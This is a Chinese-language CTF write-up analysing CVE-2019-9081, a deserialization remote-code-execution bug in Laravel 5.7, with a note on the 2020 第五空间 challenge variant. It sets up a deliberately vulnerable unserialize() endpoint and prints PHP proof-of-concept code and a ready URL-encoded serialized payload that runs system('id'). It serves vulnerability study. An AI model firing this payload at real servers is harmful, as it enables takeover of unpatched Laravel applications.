Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)
0x00 前言
前天第五空间的时候5am3问我还会搞Laravel不。半年没打CTF了,真的是淡忘了很多,再加上当时牙疼到看着代码发蒙,所以题目中的链就给错过了。比赛之后复习了一下笔记📒。整合了其它笔记的内容,形成了这篇文章。
PS: 反序列化漏洞POP链是我当时最喜欢搞得,没想到这知识忘得真的快啊。
0x01 判断题目环境的版本
1 | ❯ php artisan |
0x02 设置对应的入口点
入口URL1
GET /index.php/index?p=
与入口点相关的文件:
路由文件
routes/web.php
1
Route::get('/index', 'TaskController@index');
反序列化的入口点
app/Http/Controllers/TaskController.php
1
2
3
4
5
6
7
8
9
10
11
12
namespace App\Http\Controllers;
class TaskController
{
public function index(){
if(isset($_GET['p'])){
unserialize($_GET['p']);
}
return "There is an param names p (get)";
}
}
0x03 本地环境搭建
两种环境搭建方案
A.本地环境配置
操作系统:macOS
PHP版本:7.3.111
2
3composer create-project laravel/laravel laravel57mac "5.7.*"
cd laravel57mac
php artisan serve --host=0.0.0.0 --port 8081
B.虚拟机环境配置
具体的环境配置过程参考:官方链接
虚拟环境的操作:1
2
3
4
5
6
7
8
9
10
11
12
13# 虚拟机的启动
cd ~/Homestead && vagrant up
# ssh登录虚拟机
cd ~/Homestead && vagrant ssh
# ssh上去之后可以使用如下命令退出
exit
# 关闭 Homestead
vagrant halt
# 虚拟机删除
vagrant destroy --force
# 修改Homestead.yaml配置文件重新加载
cd ~/Homestead && vagrant up # 如果虚拟机是开启的则不需要执行这个命令
vagrant provision
xdebug远程调试1
2
3
4
5
6
7
8#开启xdebug
sudo phpenmod xdebug
#关闭xdebug
sudo phpdismod xdebug
#客户端调试脚本
xphp path/to/script
#xdebug的配置文件修改
/etc/php/7.#/fpm/conf.d/20-xdebug.ini
web服务器切换(ngnix和apache)1
flip
0x04 CVE-2019-9081
影响版本:Laravel v5.7
漏洞核心:Illuminate/Foundation/Testing/PendingCommand
类中的__destruct
方法中调用了run
方法,而run
方法是用来Execute the command
的。因此需要找到对应的POP链来完成RCE。
首先看一下PendingCommand
类中的几个重要属性:
其次看一下关键的run
方法,这其中有两个位置的代码比较关键。一个是与代码执行直接相关的,另外一个是与到达代码执行位置相关的方法mockConsoleOutput
。我们必须保证方法mockConsoleOutput
可以正常执行完毕。
所有接下来就看一下mockConsoleOutput
方法。由于程序可以正常执行到166行的位置,所以对162行的代码就不需要进行进一步的分析。
分析的关键在于166行的的属性遍历。要控制这个数组我们只需要找到一个public function __get
魔术方法就好了。一搜一大把,这里我们选择Faker/DefaultGenerator
类中的。
到这里为止我们先写一个PoC来进行动态分析一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
public function __construct()
{}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$application = new Illuminate\Foundation\Application();
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
echo urlencode(serialize($pendingcommand));
}
执行之后的结果1
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D
此时可以看到已经成功过了vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php
中的第166行的代码
可以到达关键的136行代码处。
但是再往下走的程序就会抛出异常,所以要对136处的代码进行详细的分析。
这种链式调用不太好看变量中的内容,所以我在136行之前补充几行代码1
2$kclass = Kernel::class;
$app = $this->app[Kernel::class];
动态调试的过程中可以看到Kernel::class
中的值是Illuminate\Contracts\Console\Kernel
。而对应的$app = $this->app[Kernel::class];
代码在执行时会抛出异常,所以我们要跟进这个部分。继续跟进之后到达vendor/laravel/framework/src/Illuminate/Container/Container.php
文件中。我在动态分析的时候发现Illuminate\Container\Container
类中调用的是Illuminate\Container\BoundMethod
的 call
静态方法。还有别忘了Illuminate\Foundation\Application
类继承的是 Illuminate\Container\Container
类的call方法。所以我们要继续往下跟。
继续跟进之后可以看到一个关键函数call_user_func_array
。继续跟进 getMethodDependencies
函数。该函数返回的是 $dependencies
数组和 $parameters
的合并数据,其中$dependencies
默认为空数组,而 $parameters
为可控数据。
再加上此处$callback
的值就是我们可控的值system
,因此此处的实际形式为call_user_func_array(可控数据,可控数据)
,可以构成任意代码执行。最终构造的POP链如下:
1 |
|
EXP1
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D
0x05 CVE-2019-9081的参考链接
- Laravel5.7反序列化漏洞之RCE链挖掘
- 代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析
- laravelv5.7反序列化rce(CVE-2019-9081)
0x06 第五空间–laravel
Diff一下的发现其实题目中所做的修改仅仅是删除了vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php
文件中的$this->run();
这一行代码。没有这个调用点,那我们的思路就是在其中找一个call_user_func
来执行Illuminate/Foundation/Testing/PendingCommand
类中的run
方法。
此处我们使用vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
文件中的call_user_func
函数来完成对run
的调用
这个思路其实并不是新的,PHPGGC当中就经常只用这个点,因为ValidGenerator
类中的__call
比较好利用,而其中又包含了call_user_func_array
、call_user_func
。所以结合这个点很容易就构造出下面这个Exp。具体的不在多写,如果有不清楚的可以看后面的参考链接。
1 |
|
1 |
|